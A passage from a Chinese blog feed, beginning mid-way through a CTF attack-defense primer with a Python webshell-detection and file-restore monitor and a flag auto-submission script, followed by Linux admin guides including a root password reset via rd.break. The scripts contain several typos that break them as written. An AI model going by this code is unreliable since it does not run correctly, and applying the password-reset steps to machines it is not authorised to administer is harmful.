class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment">#use: python file_check.py ./</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">import</span> shutil</span><br><span class="line"><span class="keyword">import</span> ntpath</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">CWD = os.getcwd()</span><br><span class="line">FILE_MD5_DICT = {}<span class="comment">#文件MD5字典</span></span><br><span class="line">ORIGIN_FILE_LIST = []</span><br><span class="line"></span><br><span class="line"><span class="comment">#特殊文件路径字符串</span></span><br><span class="line">Special_path_str = <span class="string">'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'</span></span><br><span class="line">bakstring = <span class="string">'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'</span></span><br><span class="line">logstring = <span class="string">'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'</span></span><br><span class="line">webshellstring = <span class="string">'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'</span></span><br><span class="line">difffile = <span class="string">'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'</span></span><br><span class="line"></span><br><span class="line">Special_string = <span class="string">'drops_log'</span><span class="comment">#免死金牌</span></span><br><span class="line">UNICODE_ENCODEING = <span class="string">"utf-8"</span></span><br><span class="line">INVALID_UNICODE_CHAR_FORMAT = <span class="string">r"\?%02x"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 文件路径字典</span></span><br><span class="line">spec_base_path = os.path.realpath(os.path.join(CWD,Special_path_str))</span><br><span class="line">Special_path = {</span><br><span class="line"><span class="string">'bak'</span> : os.path.realpath(os.path.join(spec_base_path,bakstring)),</span><br><span class="line"><span class="string">'log'</span> : os.path.realpath(os.path.join(spec_base_path,logstring)),</span><br><span class="line"><span class="string">'webshell'</span> : os.path.realpath(os.path.join(spec_base_path,webshellstring)),</span><br><span class="line"><span class="string">'diffile'</span> : os.path.realpath(os.path.join(spec_base_path,diffile)),</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">isListLike</span><span class="params">(value)</span>:</span></span><br><span class="line"><span class="keyword">return</span> isinstance(value, (list, tuple, set))</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取Unicode编码</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getUnicode</span><span class="params">(value, encoding=None, noneToNull=False)</span>:</span></span><br><span class="line"><span class="keyword">if</span> noneTuNull <span class="keyword">and</span> value <span class="keyword">is</span> <span class="keyword">None</span>:</span><br><span class="line"><span class="keyword">return</span> noneTuNull</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> isListLike(value):</span><br><span class="line">value = list(getUnicode(_, encoding, noneToNull) <span class="keyword">for</span> _ <span class="keyword">in</span> value)</span><br><span class="line"><span class="keyword">return</span> value</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> isinstance(value,unicode):</span><br><span class="line"><span class="keyword">return</span> value</span><br><span class="line"><span class="keyword">elif</span> isinstance(value, basestring):</span><br><span class="line"><span class="keyword">while</span> <span class="keyword">True</span>:</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line"><span class="keyword">return</span> unicode(value, encoding <span class="keyword">or</span> UNICODE_ENCODING)</span><br><span class="line"><span class="keyword">except</span> UnicodeDecodeError, ex:</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line"><span class="keyword">return</span> unicode(value, UNICODE_ENCODING)</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line">value = value[:ex.start]+<span class="string">""</span>.join(INVALID_UNICODE_CAHR_FORMAT % ord(_) <span class="keyword">for</span> _ <span class="keyword">in</span> value[ex.start:ex.end]) + value[ex.end:]</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line"><span class="keyword">return</span> unicode(value)</span><br><span class="line"><span class="keyword">except</span> UnicodeDecodeError:</span><br><span class="line"><span class="keyword">return</span> unicode(str(value), errors=<span class="string">"ignore"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 目录创建</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">mkdir_p</span><span class="params">(path)</span>:</span></span><br><span class="line"><span class="keyword">import</span> errno</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">os.makedirs(path)</span><br><span class="line"><span class="keyword">except</span> OSRrror <span class="keyword">as</span> exc:</span><br><span class="line"><span class="keyword">if</span> exc.errno == errno.EEXIST <span class="keyword">and</span> os.path.isdir(path):</span><br><span class="line"><span class="keyword">pass</span></span><br><span class="line"><span class="keyword">else</span>: <span class="keyword">raise</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取当前所有文件路径</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getfilelist</span><span class="params">(cwd)</span>:</span></span><br><span class="line">filelist = []</span><br><span class="line"><span class="keyword">for</span> root,subdirs, files <span class="keyword">in</span> os.walk(cwd):</span><br><span class="line"><span class="keyword">for</span> filepath <span class="keyword">in</span> files:</span><br><span class="line">originalfile = os.path.join(root, filepath)</span><br><span class="line"><span class="keyword">if</span> Special_path_str <span class="keyword">not</span> <span class="keyword">in</span> originalfile:</span><br><span class="line">filelist.append(originalfile)</span><br><span class="line"><span class="keyword">return</span> filelist</span><br><span class="line"></span><br><span class="line"><span class="comment"># 计算机文件MD5值</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">calcMD5</span><span class="params">(filepath)</span>:</span></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line"><span class="keyword">with</span> open(filepath,<span class="string">'rb'</span>) <span class="keyword">as</span> f:</span><br><span class="line">md5obj = hashlib.md5()</span><br><span class="line">md5obj.update(f.read())</span><br><span class="line">hash = md5obj.hexdigest()</span><br><span class="line"><span class="keyword">return</span> hash</span><br><span class="line"><span class="keyword">except</span> Exception, e:</span><br><span class="line"><span class="keyword">print</span> <span class="string">u'[!] getmd5_error : '</span>+getUnicode(filepath)</span><br><span class="line"><span class="keyword">print</span> getUnicode(e)</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">ORIGIN_FILE_LIST.remove(fielpath)</span><br><span class="line">FILE_MD5_DICT.pop(filepath,<span class="keyword">None</span>)</span><br><span class="line"><span class="keyword">except</span> KeyError, e:</span><br><span class="line"><span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取所有文件MD5</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getfilemd5dict</span><span class="params">(filelist = [])</span>:</span></span><br><span class="line">filemd5dict = {}</span><br><span class="line"><span class="keyword">for</span> ori_file <span class="keyword">in</span> filelist:</span><br><span class="line"><span class="keyword">if</span> Special_path_str <span class="keyword">not</span> <span class="keyword">in</span> ori_file:</span><br><span class="line">md5 = calcMD5(os.path.realpath(ori_file))</span><br><span class="line"><span class="keyword">if</span> md5:</span><br><span class="line">filemd5dict[ori_file] = md5</span><br><span class="line"><span class="keyword">return</span> filemd5dict</span><br><span class="line"></span><br><span class="line"><span class="comment"># 备份所有文件</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">backup_file</span><span class="params">(filelist=[])</span>:</span></span><br><span class="line"><span class="comment"># if len(os.listdir(Special_path['bak'])) == 0;</span></span><br><span class="line"><span class="keyword">for</span> filepath <span class="keyword">in</span> filelist:</span><br><span class="line"><span class="keyword">if</span> Special_path_str <span class="keyword">not</span> <span class="keyword">in</span> filepath:</span><br><span class="line">shutil.copy2(filepathm Special_path[<span class="string">'bak'</span>])</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"><span class="keyword">print</span> <span class="string">u'-------------start---------------'</span></span><br><span class="line"><span class="keyword">for</span> value <span class="keyword">in</span> Special_path:</span><br><span class="line">mkdir_p(Special_path[value])</span><br><span class="line"><span class="comment"># 获取所有文件路径,并获取所有文件的MD5,同事备份所有文件</span></span><br><span class="line">ORIGIN_FILE_LIST = getfilelist(CWD)</span><br><span class="line">FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)</span><br><span class="line">backup_file(ORIGIN_FILE_LIST) <span class="comment"># TODO 备份文件可能会产生重名BUG</span></span><br><span class="line"><span class="keyword">print</span> <span class="string">u'[*] pre work end!'</span></span><br><span class="line"><span class="keyword">while</span> <span class="keyword">True</span>:</span><br><span class="line">file_lsit = getfilelist(CWD)</span><br><span class="line"><span class="comment"># 移除新上传文件</span></span><br><span class="line">diff_file_list = list(set(file_lsit) ^ set(ORIGIN_FILE_LIST))</span><br><span class="line"><span class="keyword">if</span> len(diff_file_list) != <span class="number">0</span>:</span><br><span class="line"><span class="comment"># import pdb;pdb.set_trace()</span></span><br><span class="line"><span class="keyword">for</span> filepath <span class="keyword">in</span> diff_file_list:</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">f = open(filepath, <span class="string">'r'</span>).read()</span><br><span class="line"><span class="keyword">except</span> Exception, e:</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line"><span class="keyword">if</span> Special_string <span class="keyword">not</span> <span class="keyword">in</span> f:</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line"><span class="keyword">print</span> <span class="string">u'[*] websehll find :'</span> + getUnicode(filepath)</span><br><span class="line">shutil.move(filepath,os.path.join(Special_path[<span class="string">'webshell'</span>],ntpath.basename(filepath) + <span class="string">'.txt'</span>))</span><br><span class="line"><span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"><span class="keyword">print</span> <span class="string">u'[!] move webshell error, "%s" maybe is webshell.'</span>%getUnicode(filepath)</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">f = open(os.path.join(Special_path[<span class="string">'log'</span>],<span class="string">'log.txt'</span>),<span class="string">'a'</span>)</span><br><span class="line">f.write(<span class="string">'newfile: '</span> + getUnicode(filepath) = <span class="string">' : '</span> + str(time.ctime()) + <span class="string">'\n'</span>)</span><br><span class="line">f.close()</span><br><span class="line"><span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"><span class="keyword">print</span> <span class="string">u'[-] log error : file move error: '</span> + getUnicode(e)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 防止任意文件被修改,还原被修改文件</span></span><br><span class="line">md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)</span><br><span class="line"><span class="keyword">for</span> filekey <span class="keyword">in</span> md5_dict:</span><br><span class="line"><span class="keyword">if</span> md5_dict[filekey] != FILE_MD5_DICT[filekey]:</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">f = open(filekey, <span class="string">'r'</span>).read()</span><br><span class="line"><span class="keyword">except</span> Exception, e:</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line"><span class="keyword">if</span> Special_string <span class="keyword">not</span> <span class="keyword">in</span> f:</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line"><span class="keyword">print</span> <span class="string">u'[*] file had be change : '</span> + getUnicode(filekey)</span><br><span class="line">shutil.move(filekey, os.path.join(Special_path[<span class="string">'difffile'</span>], ntpath.basename(filekey) + <span class="string">'.txt'</span>))</span><br><span class="line">shutil.move(os.path.join(Special_path[<span class="string">'bak'</span>], ntpath.basename(filekey)), filekey)</span><br><span class="line"><span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"><span class="keyword">print</span> <span class="string">u'[!] move webshell error, "%" maybe is webshell.'</span>%getUnicode(filekey)</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">f = open(os.path.join(Special_path[<span class="string">'log'</span>],<span class="string">'log.txt'</span>),<span class="string">'a'</span>)</span><br><span class="line">f.write(<span class="string">'diff_file: '</span> + getUnicode(filekey) + <span class="string">' : '</span> + getUnicode(time.ctime()) + <span class="string">'\n'</span>)</span><br><span class="line">f.close()</span><br><span class="line"><span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"><span class="keyword">print</span> <span class="string">u'[-] log error : done_diff: '</span> + getUnicode(filekey)</span><br><span class="line"><span class="keyword">pass</span></span><br><span class="line">time.sleep(<span class="number">2</span>)</span><br><span class="line"><span class="comment">#print `[*] ' + getUnicode(time.ctime())</span></span><br></pre></td></tr></table></figure></p><h1 id="七、自动提交"><a href="#七、自动提交" class="headerlink" title="七、自动提交"></a>七、自动提交</h1><p>有的比赛只有几分钟一轮,手工提交其他队伍的flag显然不行,需要准备批量提交flag的脚本:<br><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python2</span></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> urllib</span><br><span class="line"><span class="keyword">import</span> httplib</span><br><span class="line"></span><br><span class="line">server_host = <span class="string">'10.10.0.2'</span></span><br><span class="line">server_port = <span class="number">80</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">submit</span><span class="params">(team_token, flag, host=server_host, port=server_port, timeout=<span class="number">5</span>)</span>:</span></span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> team_token <span class="keyword">or</span> <span class="keyword">not</span> flag:</span><br><span class="line"><span class="keyword">raise</span> Exception(<span class="string">'team_token or flag not found'</span>)</span><br><span class="line">conn = httplib.HTTPConnection(host, port, timeout=timeout)</span><br><span class="line">params = urllib.urlencode({</span><br><span class="line"><span class="string">'token'</span>: team_token,</span><br><span class="line"><span class="string">'flag'</span>: flag,</span><br><span class="line">})</span><br><span class="line">headers = {</span><br><span class="line"><span class="string">"Content-type"</span>: <span class="string">"application/x-www-form-urlencoded"</span></span><br><span class="line">}</span><br><span class="line">conn.request(<span class="string">'POST'</span>, <span class="string">'/api/submit_flag'</span>, params, headers)</span><br><span class="line">response = conn.getresponse()</span><br><span class="line">data - response.read()</span><br><span class="line"><span class="keyword">return</span> json.loads(data)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"><span class="keyword">if</span> len(sys.argv) < <span class="number">3</span>:</span><br><span class="line"><span class="keyword">print</span> <span class="string">'usage: ./submitflag.py $team_token $flag'</span></span><br><span class="line">sys.exit()</span><br><span class="line">host = server_host</span><br><span class="line"><span class="keyword">if</span> len(sys.argv) > <span class="number">3</span>:</span><br><span class="line">host = sys.argv[<span class="number">3</span>]</span><br><span class="line"><span class="keyword">print</span> json.dumps(submit(sys.argv[<span class="number">1</span>],sys.argv[<span class="number">2</span>], host=host), indent=<span class="number">4</span>)</span><br></pre></td></tr></table></figure></p><h1 id="八、流量、日志"><a href="#八、流量、日志" class="headerlink" title="八、流量、日志"></a>八、流量、日志</h1><p>通过流量、日志的分析:</p><ol><li>感知可能正在发生的攻击,从而规避存在的安全风险</li><li>应急响应,还原攻击者的攻击路径,从而挽回已经造成的损失<figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx4.sinaimg.cn/mw690/006ALkzYly1fvyfmg5lngj30ya0efn9u.jpg" alt="analysis" title=""> </div> <div class="image-caption">analysis</div> </figure><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx1.sinaimg.cn/mw690/006ALkzYly1fvyfmfhytnj30j807rwf9.jpg" alt="php-script" title=""> </div> <div class="image-caption">php-script</div> </figure></li></ol><h1 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h1><p><a href="https://github.com/admintony/Prepare-for-AWD.git" rel="noopener">脚本源码链接</a></p>]]></content>
<summary type="html">
<p>CTF网络安全攻防赛入门,如果你对黑客攻防感兴趣的话看看这篇入门。<br>新手该知道的一些知识以及技巧,下面简单整理一下<br>
</summary>
<category term="安全" scheme="http://www.deops.cn/categories/%E5%AE%89%E5%85%A8/"/>
<category term="CTF" scheme="http://www.deops.cn/tags/CTF/"/>
<category term="信息安全" scheme="http://www.deops.cn/tags/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
<category term="网络空间安全" scheme="http://www.deops.cn/tags/%E7%BD%91%E7%BB%9C%E7%A9%BA%E9%97%B4%E5%AE%89%E5%85%A8/"/>
<category term="Python" scheme="http://www.deops.cn/tags/Python/"/>
</entry>
<entry>
<title>RHEL 7配置Yum软件仓库</title>
<link href="http://www.deops.cn//posts/afdfa673/"/>
<id>http://www.deops.cn//posts/afdfa673/</id>
<published>2018-08-07T07:18:07.000Z</published>
<updated>2018-10-03T17:35:33.586Z</updated>
<content type="html"><![CDATA[<p>离线环境环境下配置一个本地yum软件仓库,简单整理一下。<br>Yum软件仓库的作用是为了进一步简化RPM管理软件的难度以及自动分析所需软件包及其依赖关系的技术。<br><a id="more"></a></p><h4 id="第1步:-切换到-etc-yum-repos-d-目录中,(yum配置文件存放路径"><a href="#第1步:-切换到-etc-yum-repos-d-目录中,(yum配置文件存放路径" class="headerlink" title="第1步: 切换到/etc/yum.repos.d/目录中,(yum配置文件存放路径)"></a>第1步: 切换到<code>/etc/yum.repos.d/</code>目录中,(yum配置文件存放路径)</h4><h4 id="第2步:-创建一个配置文件(文件名可随意,但后缀名必须是-repo)"><a href="#第2步:-创建一个配置文件(文件名可随意,但后缀名必须是-repo)" class="headerlink" title="第2步: 创建一个配置文件(文件名可随意,但后缀名必须是.repo)"></a>第2步: 创建一个配置文件(文件名可随意,但后缀名必须是<code>.repo</code>)</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[root@rhel_7 ~]# cd /etc/yum.repos.d/</span><br><span class="line">[root@rhel_7 yum.repos.d]# vi rhel7.repo</span><br><span class="line">[rhel7]</span><br><span class="line">name=rhel7</span><br><span class="line">baseurl=file:///media/cdrom</span><br><span class="line">enabled=1</span><br><span class="line">gpgcheck=0</span><br></pre></td></tr></table></figure><ul><li>[rhel7] # yum仓库唯一标识符,避免与其他仓库冲突。</li><li>name=rhel7 # yum名称描述,易于识别仓库用处。</li><li>baseurl=file:///media/cdrom # 提供的方式包括FTP(ftp://..)、HTTP(http://..)、本地(file:///..)</li><li>enabled=1 # 设置yum是否可用;1可用,0禁用。</li><li>gpgcheck=1 # 设置yum是否校验文件,1校验,0不校验。</li><li>gpgkey=file:///media/cdrom/RPM-GPG-KEY-rehat-release # 若<code>gpgcheck</code>开启,须指定公钥文件地址</li></ul><h4 id="第3步:创建本地软件仓"><a href="#第3步:创建本地软件仓" class="headerlink" title="第3步:创建本地软件仓"></a>第3步:创建本地软件仓</h4><p>挂载ISO镜像或者上传到本地</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[root@rhel_7 ~]# mkdir -p /media/cdrom</span><br><span class="line">[root@rhel_7 ~]# mount -t iso9660 -o loop /usr/local/src/RHEL-server-7.0-x86_64.iso /media/cdrom</span><br><span class="line">[root@rhel_7 ~]# vim /etc/fstab</span><br><span class="line">/usr/local/src/RHEL-server-7.0-x86_64.iso /media/cdrom iso9660 default,ro.loop 0 0</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p>离线环境环境下配置一个本地yum软件仓库,简单整理一下。<br>Yum软件仓库的作用是为了进一步简化RPM管理软件的难度以及自动分析所需软件包及其依赖关系的技术。<br>
</summary>
<category term="Linux" scheme="http://www.deops.cn/categories/Linux/"/>
<category term="Linux" scheme="http://www.deops.cn/tags/Linux/"/>
<category term="RedHat" scheme="http://www.deops.cn/tags/RedHat/"/>
<category term="yum" scheme="http://www.deops.cn/tags/yum/"/>
</entry>
<entry>
<title>RedHat_7 配置网卡信息</title>
<link href="http://www.deops.cn//posts/eb7dbe25/"/>
<id>http://www.deops.cn//posts/eb7dbe25/</id>
<published>2018-08-07T06:24:44.000Z</published>
<updated>2018-10-03T17:35:27.898Z</updated>
<content type="html"><![CDATA[<p> 如果您具备一定的运维经验或者熟悉早期的Linux系统,则在学习RHEL 7时可能会遇到一些不容易接受的差异化。在RHEL 5、RHEL 6中,网卡配置的前缀为<strong><code>eth</code></strong>,第1块网卡为<strong><code>eth0</code></strong>,第2块网卡为<strong><code>eth1</code></strong>;以此类推。<br> 而在RHEL 7中,网卡配置文件的前缀则为<strong><code>ifcfg</code></strong>开头,然后加上网卡名称共同组成了网卡配置文件的名字,例如<strong><code>ifcfg-eno16777736</code></strong>;好在除了文件名变化外也没有其他大的区别。<br><a id="more"></a></p><h3 id="第1步:-首先切换到-etc-sysconfig-network-scripts-目录中(存放着网卡的配置文件)"><a href="#第1步:-首先切换到-etc-sysconfig-network-scripts-目录中(存放着网卡的配置文件)" class="headerlink" title="第1步: 首先切换到/etc/sysconfig/network-scripts/目录中(存放着网卡的配置文件)"></a>第1步: 首先切换到<strong><code>/etc/sysconfig/network-scripts/</code></strong>目录中(存放着网卡的配置文件)</h3><h3 id="第2步:-编辑网卡文件ifcfg-eno16777736"><a href="#第2步:-编辑网卡文件ifcfg-eno16777736" class="headerlink" title="第2步: 编辑网卡文件ifcfg-eno16777736"></a>第2步: 编辑网卡文件<strong><code>ifcfg-eno16777736</code></strong></h3><ul><li><strong>设备类型:</strong>TYPE=Ethernet</li><li><strong>地址分配模式:</strong>BOOTPROTO=static</li><li><strong>网卡名称:</strong>NAME=eno16777736</li><li><strong>是否启动:</strong>ONBOOT=yes</li><li><strong>IP地址:</strong>IPADDR=192.168.1.10</li><li><strong>子网掩码:</strong>NETMASK=255.255.255.0</li><li><strong>网关地址:</strong>GATEWAY=192.168.1.1</li><li><strong>DNS地址:</strong>DNS1=114.114.114.114</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">[root@rhel_7 network-scripts]# vim ifcfg-eno16777736</span><br><span class="line">TYPE=Ethernet</span><br><span class="line">BOTOPROTO=static</span><br><span class="line">NAME=eno16777736</span><br><span class="line">ONBOOT=yes</span><br><span class="line">IPADDR=192.168.1.74</span><br><span class="line">NETMASK=255.255.255.0</span><br><span class="line">GATEWAY=192.168.1.1</span><br><span class="line">DNS1=114.114.114.114</span><br><span class="line">DNS2=192.168.1.1</span><br><span class="line">~ ~</span><br><span class="line">[root@rhel_7 network-scripts]# systemctl restart network</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p>&nbsp;&nbsp;如果您具备一定的运维经验或者熟悉早期的Linux系统,则在学习RHEL 7时可能会遇到一些不容易接受的差异化。在RHEL 5、RHEL 6中,网卡配置的前缀为<strong><code>eth</code></strong>,第1块网卡为<strong><code>eth0</code></strong>,第2块网卡为<strong><code>eth1</code></strong>;以此类推。<br>&nbsp;&nbsp;而在RHEL 7中,网卡配置文件的前缀则为<strong><code>ifcfg</code></strong>开头,然后加上网卡名称共同组成了网卡配置文件的名字,例如<strong><code>ifcfg-eno16777736</code></strong>;好在除了文件名变化外也没有其他大的区别。<br>
</summary>
<category term="Linux" scheme="http://www.deops.cn/categories/Linux/"/>
<category term="Linux" scheme="http://www.deops.cn/tags/Linux/"/>
<category term="RedHat" scheme="http://www.deops.cn/tags/RedHat/"/>
<category term="rhel" scheme="http://www.deops.cn/tags/rhel/"/>
</entry>
<entry>
<title>RedHat Linux重置root管理员密码</title>
<link href="http://www.deops.cn//posts/32546aed/"/>
<id>http://www.deops.cn//posts/32546aed/</id>
<published>2018-08-05T07:48:25.000Z</published>
<updated>2018-10-03T17:35:31.465Z</updated>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>平日里让运维人员头疼的事情已经很多了,因此偶尔把linux系统的密码忘记了并不用慌,只需简单几步就可以完成密码的重置工作。</p><h2 id="基于rhel版本"><a href="#基于rhel版本" class="headerlink" title="基于rhel版本"></a>基于rhel版本</h2><p>RedHat、CentOS、<br><a id="more"></a></p><h3 id="重启Linux系统主机出现引导界面,按下键盘上的E键进入内核编辑界面"><a href="#重启Linux系统主机出现引导界面,按下键盘上的E键进入内核编辑界面" class="headerlink" title="重启Linux系统主机出现引导界面,按下键盘上的E键进入内核编辑界面"></a>重启Linux系统主机出现引导界面,按下键盘上的<code>E</code>键进入内核编辑界面</h3><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx3.sinaimg.cn/mw690/006ALkzYly1ftyygehy83j30k00b474c.jpg" alt="boot-img" title=""> </div> <div class="image-caption">boot-img</div> </figure><h3 id="在linux16-参数这行的最后添加rd-break-然后按下Ctrl-X运行"><a href="#在linux16-参数这行的最后添加rd-break-然后按下Ctrl-X运行" class="headerlink" title="在linux16 参数这行的最后添加rd.break,然后按下Ctrl+X运行"></a>在linux16 参数这行的最后添加<code>rd.break</code>,然后按下<code>Ctrl</code>+<code>X</code>运行</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">linux16 /vmlinuz-3.10.0-123.e17.x86_64 root=UUID=039848c2-4663-4223-a7\</span><br><span class="line">52-e07bf143e52d ro rd.lvm.lv=rhel/root crashkernel=auto rd.lvm.lv=rhel/swap v\</span><br><span class="line">console.font=latarcyrheb-sun16 vconsole.keymap=us rhgb quiet LANG=en_US.UTF-8\</span><br><span class="line"> rd.break</span><br></pre></td></tr></table></figure><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx2.sinaimg.cn/mw1024/006ALkzYly1ft8l939p1nj30l80armx6.jpg" alt="编辑内核界面" title=""> </div> <div class="image-caption">编辑内核界面</div> </figure><h3 id="修改密码"><a href="#修改密码" class="headerlink" title="修改密码"></a>修改密码</h3><p>输入下面这些命令<br><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx4.sinaimg.cn/mw1024/006ALkzYly1ft8l8tkg45j30n80bx0sr.jpg" alt="编辑如下命令" title=""> </div> <div class="image-caption">编辑如下命令</div> </figure><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">switch_root:/# mount -o remount,rw /sysroot</span><br><span class="line">switch_root:/# chroot /sysroot</span><br><span class="line">sh-4.2# passwd</span><br><span class="line">此处略过...</span><br><span class="line">sh-4.2# touch /.autorelabel</span><br><span class="line">sh-4.2# exit</span><br><span class="line">sh-4.2# reboot</span><br></pre></td></tr></table></figure></p><h2 id="基于debian版本"><a href="#基于debian版本" class="headerlink" title="基于debian版本"></a>基于debian版本</h2><h2 id="基于slackware版本"><a href="#基于slackware版本" class="headerlink" title="基于slackware版本"></a>基于slackware版本</h2><h2 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h2><p><a href="http://futurist.se/gldt/wp-content/uploads/12.10/gldt1210.svg" rel="noopener">Linux衍生版本</a></p>]]></content>
<summary type="html">
<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>平日里让运维人员头疼的事情已经很多了,因此偶尔把linux系统的密码忘记了并不用慌,只需简单几步就可以完成密码的重置工作。</p>
<h2 id="基于rhel版本"><a href="#基于rhel版本" class="headerlink" title="基于rhel版本"></a>基于rhel版本</h2><p>RedHat、CentOS、<br>
</summary>
<category term="Linux" scheme="http://www.deops.cn/categories/Linux/"/>
<category term="Linux" scheme="http://www.deops.cn/tags/Linux/"/>
<category term="RedHat" scheme="http://www.deops.cn/tags/RedHat/"/>
</entry>
<entry>
<title>Java环境变量配置</title>
<link href="http://www.deops.cn//posts/295162d9/"/>
<id>http://www.deops.cn//posts/295162d9/</id>
<published>2018-08-03T15:34:01.000Z</published>
<updated>2018-10-04T02:37:10.904Z</updated>
